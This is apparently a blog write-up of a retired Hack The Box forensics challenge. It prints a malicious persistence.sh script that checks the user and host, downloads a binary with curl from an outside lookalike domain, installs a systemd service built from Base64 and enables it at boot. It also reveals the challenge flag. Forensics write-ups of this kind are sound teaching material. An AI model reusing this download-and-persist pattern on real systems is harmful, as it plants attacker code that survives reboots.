root@thehacksparrow:~/writeups$ SYSTEM ONLINE
root@sparrow:~/writeups$ cat extraterrestrial-persistence.md
// writeups

Extraterrestrial Persistence

28 Apr 2023 · 2 min read
Extraterrestrial Persistence — HTB challenge
A Linux persistence script via systemd. Decoding the Base64 that builds the .service file, the flag appears inside the Description= field.

Challenge overview

FieldValue
PlatformHack The Box · Challenge
CategoryForensics
DifficultyVery Easy
StateRetired
Filespersistence.sh

Attack map

[persistence.sh] malicious script
      │
      ▼
[checks] user/host + curl payload
      │
      ▼
[base64 -d] builds service.service
      │
      ▼
[Description=] holds the flag
      │
      ▼
[FLAG]

1. Read the script

The challenge ships persistence.sh. Reading it end to end reveals the full chain: environment check, payload download and service creation.
cat persistence.sh
n=`whoami`; h=`hostname`
if [[ "$n" != "pandora" && "$h" != "linux_HQ" ]]; then exit; fi
curl https://files.pypi-install.com/packeges/service -o /usr/local/bin/service
chmod +x /usr/local/bin/service
echo -e "BASE64..." | base64 --decode > /usr/lib/systemd/system/service.service
systemctl enable service.service

2. Understand the persistence

It only runs if the user is pandora on host linux_HQ (anti-analysis). Then it creates a systemd service enabled at every boot.

3. Decode the Base64

The heart of the challenge is the Base64 block that becomes the .service file. We decode it manually to see its contents.
echo "BASE64_AQUI" | base64 -d
[Unit]
Description=HTB{th3s3_4l13nS_4r3_s00000_b4s1c}
After=network.target network-online.target

[Service]
Type=oneshot
ExecStart=/usr/local/bin/service

[Install]
WantedBy=multi-user.target

4. Flag

HTB{th3s3_4l13nS_4r3_s00000_b4s1c}

Persistence chain

PhaseTechniqueDetail
Anti-analysisEnvironment checkuser pandora / host linux_HQ
PayloadRemote downloadcurl → /usr/local/bin/service
Persistencesystemd servicebase64 → .service (flag in Description)

Lessons learned

  • systemd services are a common persistence mechanism — inspect /usr/lib/systemd/system and systemctl list-unit-files.
  • Base64 is not encryption — always decode it; it hides payloads and data in plain text.
  • User/host checks in malware aim to evade analysis sandboxes.